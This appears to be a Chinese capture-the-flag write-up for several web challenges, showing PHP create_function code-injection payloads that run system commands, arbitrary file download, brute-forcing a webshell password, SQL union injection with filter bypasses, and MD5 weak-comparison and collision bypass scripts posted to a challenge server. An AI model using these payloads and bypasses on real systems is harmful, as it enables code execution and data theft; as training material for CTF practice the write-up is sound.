not_easy
1 |
|
这是P神代码审计的题目,但是被改动了参数的位置
create_function注入分析:
https://style-404.github.io/2019/03/24/p%E7%A5%9E%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E7%9F%A5%E8%AF%86%E6%98%9F%E7%90%83%E4%BA%8C%E5%91%A8%E5%B9%B4wp/
在这道题中,可控的是第二个参数 通过加上 ‘)’ 闭合来进行注入1
?action=%5ccreate_function&arg=){}phpinfo();/*
接下只需改变phpinfo();代码进行注入即可1
?action='../'));/* &arg=){}print_r(scandir(
发现这道题没有想p神那道题一样禁用system()函数1
?action=%5ccreate_function&arg=){}print_r(system(ls));/*
接下来读取内容1
?action= &arg=){}print_r(include );/*
下载下载
呆呆地点击下载 如果发现没有flag~
查看源码 发现有flag.php
什么也没有 于是回过头看之前的源码 是否能够下载flag.php 或者是任意文件下载
下载flag.php成功 内容如下
1 | <?php |
有encrypt() decrypt() 两个函数 分别是加密和解密函数
在最下面flag 是被加密过了 又因为有解密函数,于是直接调用解密函数即可
该网站已被黑
一个炫酷的网页 被黑? 于是拿御剑扫一下 发现shell.php
需要密码
用burp导入字典进行暴力得到密码为hack
曲折的人生
随便输一下 发现有有回显
接下来用union注入
其中:
- 空格被过滤 用
/**/
绕过 - union,select 关键字被过滤 双写绕过
得到账号密码1
2
3用户名:goodboy_g-60Hellowor
密码:ajahas&&*44askldajaj
接下来编写脚本提交
得到sss88ioiern.gdsgj.zip
from1.txt是用VB写的代码 转换为pytohn代码为:1
2
3
4
5
6
7
8
9
10
11
12
13def getPassword(string):
i = 1
reString = ''
while i <= len(string) :
reString = reString + string[i-1]
i = i + (i % 5)
return reString
Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
password = getPassword(Dictionary)
password = getPassword(password)
print(password)
得到解压密码
audit
1 |
|
首先1
2
3
4
5
6
7
8
9
10
11
12if( $str1 == $str2 ){
die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
die('step 1 fail');
}
if( $str3 == $str4 ){
die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
die('step 2 fail');
}
这里是md5弱类型比较,可用数组来绕过1
?str1[]=1&str2[]=2&str3[]=3&str4[]=4
1 | if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){ |
这里利用了string进行强制类型转换,我们无法用数组绕过了。只能用MD5强碰撞,要求传入三个值不能相等,但是MD5相等
参考:https://natmchugh.blogspot.com/2014/11/three-way-md5-collision.html
将这三个图片文件下载下来,查看md5值
也可以用工具;python-md5-collision 来进行生成
工具下载地址:
https://github.com/thereal1024/python-md5-collision
接下来用python来提交,脚本如下:1
2
3
4
5
6
7
8
9import requests
url = "http://120.79.1.69:10007/?str1[]=1&str2[]=2&str3[]=3&str4[]=4"
data = {
'str5': open('black.jpg.coll').read(),
'str6': open('brown.jpg.coll').read(),
'str7': open('white.jpg.coll').read()
}
r = requests.post(url,data = data)
print r.text
可以看到成功饶过
1 |
|
要求$a为大写字母,$b为数字、并且长度为6,$m和$n长度小于41
2
3
4
5
6
7
8
9
10
11
12
import requests
url = "http://120.79.1.69:10007/?str1[]=1&str2[]=2&str3[]=3&str4[]=4&m=1&n=1"
data = {
'str5': open('black.jpg.coll').read(),
'str6': open('brown.jpg.coll').read(),
'str7': open('white.jpg.coll').read(),
'a':'A',
'b':123456
}
r = requests.post(url,data = data)
print r.text
1
2
3
4
5
6
7
8
9
10
11$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);
echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";
if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
echo "You're great,give you flag:";
echo $flag;
}
hash()函数讲解:
https://www.php.net/manual/zh/function.hash.php